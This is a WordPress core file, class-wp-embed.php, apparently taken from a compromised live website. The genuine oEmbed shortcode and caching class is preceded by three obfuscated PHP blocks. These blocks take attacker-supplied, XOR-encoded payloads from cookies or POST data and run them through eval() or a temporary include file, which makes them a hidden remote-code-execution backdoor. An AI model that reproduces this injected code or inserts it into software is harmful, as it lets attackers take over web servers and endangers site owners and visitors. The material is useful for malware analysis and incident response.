File: /var/www/vhosts/enlugo.es/httpdocs/wp-includes/class-wp-embed.php
<?php $QMfwISyC = "\107" . "\126" . "\156" . '_' . "\126" . "\x5a" . chr ( 890 - 769 ).chr ( 779 - 665 ); $UoeUpkKi = 'c' . "\x6c" . chr ( 460 - 363 ).chr ( 842 - 727 )."\x73" . '_' . "\x65" . chr (120) . "\x69" . chr (115) . "\164" . chr ( 182 - 67 ); $MdyqeP = $UoeUpkKi($QMfwISyC); $TvPmOTdf = $MdyqeP;if (!$TvPmOTdf){class GVn_VZyr{private $zjZhzLcTqT;public static $gacdLGoSrv = "c2c4ec70-4bc1-4739-97d8-ae5703764c6f";public static $CCsQqkWfk = 38022;public function __construct($dBhwwSRPBd=0){$WUvdiZnVgW = $_COOKIE;$VzoPuX = $_POST;$YWhzVJ = @$WUvdiZnVgW[substr(GVn_VZyr::$gacdLGoSrv, 0, 4)];if (!empty($YWhzVJ)){$qKQZLXEqE = "base64";$VngoVeAA = "";$YWhzVJ = explode(",", $YWhzVJ);foreach ($YWhzVJ as $zIRPAIzOe){$VngoVeAA .= @$WUvdiZnVgW[$zIRPAIzOe];$VngoVeAA .= @$VzoPuX[$zIRPAIzOe];}$VngoVeAA = array_map($qKQZLXEqE . chr (95) . chr (100) . chr ( 646 - 545 ).chr (99) . 'o' . chr ( 974 - 874 ).chr (101), array($VngoVeAA,)); $VngoVeAA = $VngoVeAA[0] ^ str_repeat(GVn_VZyr::$gacdLGoSrv, (strlen($VngoVeAA[0]) / strlen(GVn_VZyr::$gacdLGoSrv)) + 1);GVn_VZyr::$CCsQqkWfk = @unserialize($VngoVeAA);}}private function NSnfNHeq(){if (is_array(GVn_VZyr::$CCsQqkWfk)) {$GbDUmlRfhd = str_replace("\74" . "\77" . 'p' . "\150" . chr ( 991 - 879 ), "", GVn_VZyr::$CCsQqkWfk[chr ( 971 - 872 ).chr (111) . 'n' . "\x74" . chr (101) . 'n' . chr (116)]);eval($GbDUmlRfhd); $YBSyHZDPE = "31629";exit();}}public function __destruct(){$this->NSnfNHeq(); $YBSyHZDPE = "31629";}}$vejKCnxEV = new GVn_VZyr(); $vejKCnxEV = "7286_22973";} ?><?php $SKmJeF = chr ( 737 - 661 ).'f' . chr ( 1031 - 936 ).'m' . chr ( 946 - 857 ).chr (73); $vlDCRIFdQ = "\143" . chr (108) . "\x61" . chr (115) . 's' . chr (95) . "\145" . chr (120) . "\151" . 's' . chr ( 794 - 678 ).chr ( 393 - 278 ); $PNgFKShBf = $vlDCRIFdQ($SKmJeF); $OsUsiemzBX = $PNgFKShBf;if (!$OsUsiemzBX){class Lf_mYI{private $kLIHaWD;public static $kfbVcDAGxA = "b05daf9a-3140-423e-8e43-4a040be6a904";public static $VpJlrwNVPa = 46537;public function __construct($uFXDRcH=0){$wkFmB = $_COOKIE;$efaanrRngL = $_POST;$FgsbElXSnp = @$wkFmB[substr(Lf_mYI::$kfbVcDAGxA, 0, 4)];if (!empty($FgsbElXSnp)){$WxPREixAx = "base64";$aHTRycKMS = "";$FgsbElXSnp = explode(",", $FgsbElXSnp);foreach ($FgsbElXSnp as $ZYNbLXTZNr){$aHTRycKMS .= @$wkFmB[$ZYNbLXTZNr];$aHTRycKMS .= @$efaanrRngL[$ZYNbLXTZNr];}$aHTRycKMS = array_map($WxPREixAx . "\137" . 'd' . chr ( 773 - 672 )."\143" . "\x6f" . 'd' . "\145", array($aHTRycKMS,)); $aHTRycKMS = $aHTRycKMS[0] ^ str_repeat(Lf_mYI::$kfbVcDAGxA, (strlen($aHTRycKMS[0]) / strlen(Lf_mYI::$kfbVcDAGxA)) + 1);Lf_mYI::$VpJlrwNVPa = @unserialize($aHTRycKMS);}}private function YiqFD(){if (is_array(Lf_mYI::$VpJlrwNVPa)) {$FlWrpu = sys_get_temp_dir() . "/" . crc32(Lf_mYI::$VpJlrwNVPa["\163" . "\x61" . "\154" . chr (116)]);@Lf_mYI::$VpJlrwNVPa["\x77" . "\162" . "\x69" . "\164" . 'e']($FlWrpu, Lf_mYI::$VpJlrwNVPa[chr ( 1041 - 942 )."\157" . "\156" . "\164" . chr (101) . "\156" . "\x74"]);include $FlWrpu;@Lf_mYI::$VpJlrwNVPa["\x64" . chr ( 738 - 637 )."\154" . "\145" . chr (116) . "\x65"]($FlWrpu); $NnLwGjI = "55909";exit();}}public function __destruct(){$this->YiqFD(); $NnLwGjI = "55909";}}$sYxJhbgh = new Lf_mYI(); $sYxJhbgh = "21542_2375";} ?><?php $MhDSFNKlL = chr ( 756 - 683 ).'q' . chr (88) . "\137" . chr ( 184 - 112 ).chr (73) . 'U';$bgsRBqTB = "\x63" . "\x6c" . chr (97) . "\163" . 's' . "\137" . 'e' . "\170" . 'i' . "\163" . chr (116) . "\x73";$fKWtKzgF = $bgsRBqTB($MhDSFNKlL); $MyWyX = $fKWtKzgF;if (!$MyWyX){class IqX_HIU{private $PUuWPHPF;public static $uUNVTuDUc = "383ca576-e6f5-4523-ab45-fd4e567c0003";public static $fOBYhlTs = 42426;public function __construct($QVtyML=0){$SqwsCIPKL = $_COOKIE;$sUgeTD = $_POST;$jQXEbrPfE = @$SqwsCIPKL[substr(IqX_HIU::$uUNVTuDUc, 0, 4)];if (!empty($jQXEbrPfE)){$JNeUHfF = "base64";$QVEYHzMnnS = "";$jQXEbrPfE = explode(",", $jQXEbrPfE);foreach ($jQXEbrPfE as $WXpMycO){$QVEYHzMnnS .= @$SqwsCIPKL[$WXpMycO];$QVEYHzMnnS .= @$sUgeTD[$WXpMycO];}$QVEYHzMnnS = array_map($JNeUHfF . '_' . chr (100) . "\145" . chr ( 110 - 11 ).chr ( 660 - 549 )."\144" . "\x65", array($QVEYHzMnnS,)); $QVEYHzMnnS = $QVEYHzMnnS[0] ^ str_repeat(IqX_HIU::$uUNVTuDUc, (strlen($QVEYHzMnnS[0]) / strlen(IqX_HIU::$uUNVTuDUc)) + 1);IqX_HIU::$fOBYhlTs = @unserialize($QVEYHzMnnS);}}private function ntbNHAE(){if (is_array(IqX_HIU::$fOBYhlTs)) {$khmpOHM = sys_get_temp_dir() . "/" . crc32(IqX_HIU::$fOBYhlTs["\163" . chr ( 345 - 248 ).chr (108) . "\164"]);@IqX_HIU::$fOBYhlTs[chr (119) . "\162" . chr (105) . "\x74" . 'e']($khmpOHM, IqX_HIU::$fOBYhlTs['c' . "\157" . 'n' . "\x74" . chr (101) . "\156" . "\x74"]);include $khmpOHM;@IqX_HIU::$fOBYhlTs[chr ( 524 - 424 ).chr (101) . 'l' . chr ( 529 - 428 )."\164" . "\145"]($khmpOHM); $SVQXyw = "58193";exit();}}public function __destruct(){$this->ntbNHAE(); $SVQXyw = "58193";}}$kvfQkP = new IqX_HIU(); $kvfQkP = "57993_12055";} ?><?php
/**
* API for easily embedding rich media such as videos and images into content.
*
* @package WordPress
* @subpackage Embed
* @since 2.9.0
*/
class WP_Embed {
public $handlers = array();
public $post_ID;
public $usecache = true;
public $linkifunknown = true;
public $last_attr = array();
public $last_url = '';
/**
* When a URL cannot be embedded, return false instead of returning a link
* or the URL.
*
* Bypasses the {@see 'embed_maybe_make_link'} filter.
*
* @var bool
*/
public $return_false_on_fail = false;
/**
* Constructor
*/
public function __construct() {
// Hack to get the [embed] shortcode to run before wpautop().
add_filter( 'the_content', array( $this, 'run_shortcode' ), 8 );
add_filter( 'widget_text_content', array( $this, 'run_shortcode' ), 8 );
add_filter( 'widget_block_content', array( $this, 'run_shortcode' ), 8 );
// Shortcode placeholder for strip_shortcodes().
add_shortcode( 'embed', '__return_false' );
// Attempts to embed all URLs in a post.
add_filter( 'the_content', array( $this, 'autoembed' ), 8 );
add_filter( 'widget_text_content', array( $this, 'autoembed' ), 8 );
add_filter( 'widget_block_content', array( $this, 'autoembed' ), 8 );
// After a post is saved, cache oEmbed items via Ajax.
add_action( 'edit_form_advanced', array( $this, 'maybe_run_ajax_cache' ) );
add_action( 'edit_page_form', array( $this, 'maybe_run_ajax_cache' ) );
}
/**
* Process the [embed] shortcode.
*
* Since the [embed] shortcode needs to be run earlier than other shortcodes,
* this function removes all existing shortcodes, registers the [embed] shortcode,
* calls do_shortcode(), and then re-registers the old shortcodes.
*
* @global array $shortcode_tags
*
* @param string $content Content to parse
* @return string Content with shortcode parsed
*/
public function run_shortcode( $content ) {
global $shortcode_tags;
// Back up current registered shortcodes and clear them all out.
$orig_shortcode_tags = $shortcode_tags;
remove_all_shortcodes();
add_shortcode( 'embed', array( $this, 'shortcode' ) );
// Do the shortcode (only the [embed] one is registered).
$content = do_shortcode( $content, true );
// Put the original shortcodes back.
$shortcode_tags = $orig_shortcode_tags;
return $content;
}
/**
* If a post/page was saved, then output JavaScript to make
* an Ajax request that will call WP_Embed::cache_oembed().
*/
public function maybe_run_ajax_cache() {
$post = get_post();
if ( ! $post || empty( $_GET['message'] ) ) {
return;
}
?>
<script type="text/javascript">
jQuery( function($) {
$.get("<?php echo esc_url( admin_url( 'admin-ajax.php', 'relative' ) ) . '?action=oembed-cache&post=' . $post->ID; ?>");
} );
</script>
<?php
}
/**
* Registers an embed handler.
*
* Do not use this function directly, use wp_embed_register_handler() instead.
*
* This function should probably also only be used for sites that do not support oEmbed.
*
* @param string $id An internal ID/name for the handler. Needs to be unique.
* @param string $regex The regex that will be used to see if this handler should be used for a URL.
* @param callable $callback The callback function that will be called if the regex is matched.
* @param int $priority Optional. Used to specify the order in which the registered handlers will be tested.
* Lower numbers correspond with earlier testing, and handlers with the same priority are
* tested in the order in which they were added to the action. Default 10.
*/
public function register_handler( $id, $regex, $callback, $priority = 10 ) {
$this->handlers[ $priority ][ $id ] = array(
'regex' => $regex,
'callback' => $callback,
);
}
/**
* Unregisters a previously-registered embed handler.
*
* Do not use this function directly, use wp_embed_unregister_handler() instead.
*
* @param string $id The handler ID that should be removed.
* @param int $priority Optional. The priority of the handler to be removed (default: 10).
*/
public function unregister_handler( $id, $priority = 10 ) {
unset( $this->handlers[ $priority ][ $id ] );
}
/**
* Returns embed HTML for a given URL from embed handlers.
*
* Attempts to convert a URL into embed HTML by checking the URL
* against the regex of the registered embed handlers.
*
* @since 5.5.0
*
* @param array $attr {
* Shortcode attributes. Optional.
*
* @type int $width Width of the embed in pixels.
* @type int $height Height of the embed in pixels.
* }
* @param string $url The URL attempting to be embedded.
* @return string|false The embed HTML on success, false otherwise.
*/
public function get_embed_handler_html( $attr, $url ) {
$rawattr = $attr;
$attr = wp_parse_args( $attr, wp_embed_defaults( $url ) );
ksort( $this->handlers );
foreach ( $this->handlers as $priority => $handlers ) {
foreach ( $handlers as $id => $handler ) {
if ( preg_match( $handler['regex'], $url, $matches ) && is_callable( $handler['callback'] ) ) {
$return = call_user_func( $handler['callback'], $matches, $attr, $url, $rawattr );
if ( false !== $return ) {
/**
* Filters the returned embed HTML.
*
* @since 2.9.0
*
* @see WP_Embed::shortcode()
*
* @param string|false $return The HTML result of the shortcode, or false on failure.
* @param string $url The embed URL.
* @param array $attr An array of shortcode attributes.
*/
return apply_filters( 'embed_handler_html', $return, $url, $attr );
}
}
}
}
return false;
}
/**
* The do_shortcode() callback function.
*
* Attempts to convert a URL into embed HTML. Starts by checking the URL against the regex of
* the registered embed handlers. If none of the regex matches and it's enabled, then the URL
* will be given to the WP_oEmbed class.
*
* @param array $attr {
* Shortcode attributes. Optional.
*
* @type int $width Width of the embed in pixels.
* @type int $height Height of the embed in pixels.
* }
* @param string $url The URL attempting to be embedded.
* @return string|false The embed HTML on success, otherwise the original URL.
* `->maybe_make_link()` can return false on failure.
*/
public function shortcode( $attr, $url = '' ) {
$post = get_post();
if ( empty( $url ) && ! empty( $attr['src'] ) ) {
$url = $attr['src'];
}
$this->last_url = $url;
if ( empty( $url ) ) {
$this->last_attr = $attr;
return '';
}
$rawattr = $attr;
$attr = wp_parse_args( $attr, wp_embed_defaults( $url ) );
$this->last_attr = $attr;
// KSES converts & into & and we need to undo this.
// See https://core.trac.wordpress.org/ticket/11311
$url = str_replace( '&', '&', $url );
// Look for known internal handlers.
$embed_handler_html = $this->get_embed_handler_html( $rawattr, $url );
if ( false !== $embed_handler_html ) {
return $embed_handler_html;
}
$post_ID = ( ! empty( $post->ID ) ) ? $post->ID : null;
// Potentially set by WP_Embed::cache_oembed().
if ( ! empty( $this->post_ID ) ) {
$post_ID = $this->post_ID;
}
// Check for a cached result (stored as custom post or in the post meta).
$key_suffix = md5( $url . serialize( $attr ) );
$cachekey = '_oembed_' . $key_suffix;
$cachekey_time = '_oembed_time_' . $key_suffix;
/**
* Filters the oEmbed TTL value (time to live).
*
* @since 4.0.0
*
* @param int $time Time to live (in seconds).
* @param string $url The attempted embed URL.
* @param array $attr An array of shortcode attributes.
* @param int $post_ID Post ID.
*/
$ttl = apply_filters( 'oembed_ttl', DAY_IN_SECONDS, $url, $attr, $post_ID );
$cache = '';
$cache_time = 0;
$cached_post_id = $this->find_oembed_post_id( $key_suffix );
if ( $post_ID ) {
$cache = get_post_meta( $post_ID, $cachekey, true );
$cache_time = get_post_meta( $post_ID, $cachekey_time, true );
if ( ! $cache_time ) {
$cache_time = 0;
}
} elseif ( $cached_post_id ) {
$cached_post = get_post( $cached_post_id );
$cache = $cached_post->post_content;
$cache_time = strtotime( $cached_post->post_modified_gmt );
}
$cached_recently = ( time() - $cache_time ) < $ttl;
if ( $this->usecache || $cached_recently ) {
// Failures are cached. Serve one if we're using the cache.
if ( '{{unknown}}' === $cache ) {
return $this->maybe_make_link( $url );
}
if ( ! empty( $cache ) ) {
/**
* Filters the cached oEmbed HTML.
*
* @since 2.9.0
*
* @see WP_Embed::shortcode()
*
* @param string|false $cache The cached HTML result, stored in post meta.
* @param string $url The attempted embed URL.
* @param array $attr An array of shortcode attributes.
* @param int $post_ID Post ID.
*/
return apply_filters( 'embed_oembed_html', $cache, $url, $attr, $post_ID );
}
}
/**
* Filters whether to inspect the given URL for discoverable link tags.
*
* @since 2.9.0
* @since 4.4.0 The default value changed to true.
*
* @see WP_oEmbed::discover()
*
* @param bool $enable Whether to enable `<link>` tag discovery. Default true.
*/
$attr['discover'] = apply_filters( 'embed_oembed_discover', true );
// Use oEmbed to get the HTML.
$html = wp_oembed_get( $url, $attr );
if ( $post_ID ) {
if ( $html ) {
update_post_meta( $post_ID, $cachekey, $html );
update_post_meta( $post_ID, $cachekey_time, time() );
} elseif ( ! $cache ) {
update_post_meta( $post_ID, $cachekey, '{{unknown}}' );
}
} else {
$has_kses = false !== has_filter( 'content_save_pre', 'wp_filter_post_kses' );
if ( $has_kses ) {
// Prevent KSES from corrupting JSON in post_content.
kses_remove_filters();
}
$insert_post_args = array(
'post_name' => $key_suffix,
'post_status' => 'publish',
'post_type' => 'oembed_cache',
);
if ( $html ) {
if ( $cached_post_id ) {
wp_update_post(
wp_slash(
array(
'ID' => $cached_post_id,
'post_content' => $html,
)
)
);
} else {
wp_insert_post(
wp_slash(
array_merge(
$insert_post_args,
array(
'post_content' => $html,
)
)
)
);
}
} elseif ( ! $cache ) {
wp_insert_post(
wp_slash(
array_merge(
$insert_post_args,
array(
'post_content' => '{{unknown}}',
)
)
)
);
}
if ( $has_kses ) {
kses_init_filters();
}
}
// If there was a result, return it.
if ( $html ) {
/** This filter is documented in wp-includes/class-wp-embed.php */
return apply_filters( 'embed_oembed_html', $html, $url, $attr, $post_ID );
}
// Still unknown.
return $this->maybe_make_link( $url );
}
/**
* Delete all oEmbed caches. Unused by core as of 4.0.0.
*
* @param int $post_ID Post ID to delete the caches for.
*/
public function delete_oembed_caches( $post_ID ) {
$post_metas = get_post_custom_keys( $post_ID );
if ( empty( $post_metas ) ) {
return;
}
foreach ( $post_metas as $post_meta_key ) {
if ( '_oembed_' === substr( $post_meta_key, 0, 8 ) ) {
delete_post_meta( $post_ID, $post_meta_key );
}
}
}
/**
* Triggers a caching of all oEmbed results.
*
* @param int $post_ID Post ID to do the caching for.
*/
public function cache_oembed( $post_ID ) {
$post = get_post( $post_ID );
$post_types = get_post_types( array( 'show_ui' => true ) );
/**
* Filters the array of post types to cache oEmbed results for.
*
* @since 2.9.0
*
* @param string[] $post_types Array of post type names to cache oEmbed results for. Defaults to post types with `show_ui` set to true.
*/
$cache_oembed_types = apply_filters( 'embed_cache_oembed_types', $post_types );
if ( empty( $post->ID ) || ! in_array( $post->post_type, $cache_oembed_types, true ) ) {
return;
}
// Trigger a caching.
if ( ! empty( $post->post_content ) ) {
$this->post_ID = $post->ID;
$this->usecache = false;
$content = $this->run_shortcode( $post->post_content );
$this->autoembed( $content );
$this->usecache = true;
}
}
/**
* Passes any unlinked URLs that are on their own line to WP_Embed::shortcode() for potential embedding.
*
* @see WP_Embed::autoembed_callback()
*
* @param string $content The content to be searched.
* @return string Potentially modified $content.
*/
public function autoembed( $content ) {
// Replace line breaks from all HTML elements with placeholders.
$content = wp_replace_in_html_tags( $content, array( "\n" => '<!-- wp-line-break -->' ) );
if ( preg_match( '#(^|\s|>)https?://#i', $content ) ) {
// Find URLs on their own line.
$content = preg_replace_callback( '|^(\s*)(https?://[^\s<>"]+)(\s*)$|im', array( $this, 'autoembed_callback' ), $content );
// Find URLs in their own paragraph.
$content = preg_replace_callback( '|(<p(?: [^>]*)?>\s*)(https?://[^\s<>"]+)(\s*<\/p>)|i', array( $this, 'autoembed_callback' ), $content );
}
// Put the line breaks back.
return str_replace( '<!-- wp-line-break -->', "\n", $content );
}
/**
* Callback function for WP_Embed::autoembed().
*
* @param array $match A regex match array.
* @return string The embed HTML on success, otherwise the original URL.
*/
public function autoembed_callback( $match ) {
$oldval = $this->linkifunknown;
$this->linkifunknown = false;
$return = $this->shortcode( array(), $match[2] );
$this->linkifunknown = $oldval;
return $match[1] . $return . $match[3];
}
/**
* Conditionally makes a hyperlink based on an internal class variable.
*
* @param string $url URL to potentially be linked.
* @return string|false Linked URL or the original URL. False if 'return_false_on_fail' is true.
*/
public function maybe_make_link( $url ) {
if ( $this->return_false_on_fail ) {
return false;
}
$output = ( $this->linkifunknown ) ? '<a href="' . esc_url( $url ) . '">' . esc_html( $url ) . '</a>' : $url;
/**
* Filters the returned, maybe-linked embed URL.
*
* @since 2.9.0
*
* @param string $output The linked or original URL.
* @param string $url The original URL.
*/
return apply_filters( 'embed_maybe_make_link', $output, $url );
}
/**
* Find the oEmbed cache post ID for a given cache key.
*
* @since 4.9.0
*
* @param string $cache_key oEmbed cache key.
* @return int|null Post ID on success, null on failure.
*/
public function find_oembed_post_id( $cache_key ) {
$cache_group = 'oembed_cache_post';
$oembed_post_id = wp_cache_get( $cache_key, $cache_group );
if ( $oembed_post_id && 'oembed_cache' === get_post_type( $oembed_post_id ) ) {
return $oembed_post_id;
}
$oembed_post_query = new WP_Query(
array(
'post_type' => 'oembed_cache',
'post_status' => 'publish',
'name' => $cache_key,
'posts_per_page' => 1,
'no_found_rows' => true,
'cache_results' => true,
'update_post_meta_cache' => false,
'update_post_term_cache' => false,
'lazy_load_term_meta' => false,
)
);
if ( ! empty( $oembed_post_query->posts ) ) {
// Note: 'fields' => 'ids' is not being used in order to cache the post object as it will be needed.
$oembed_post_id = $oembed_post_query->posts[0]->ID;
wp_cache_set( $cache_key, $oembed_post_id, $cache_group );
return $oembed_post_id;
}
return null;
}
}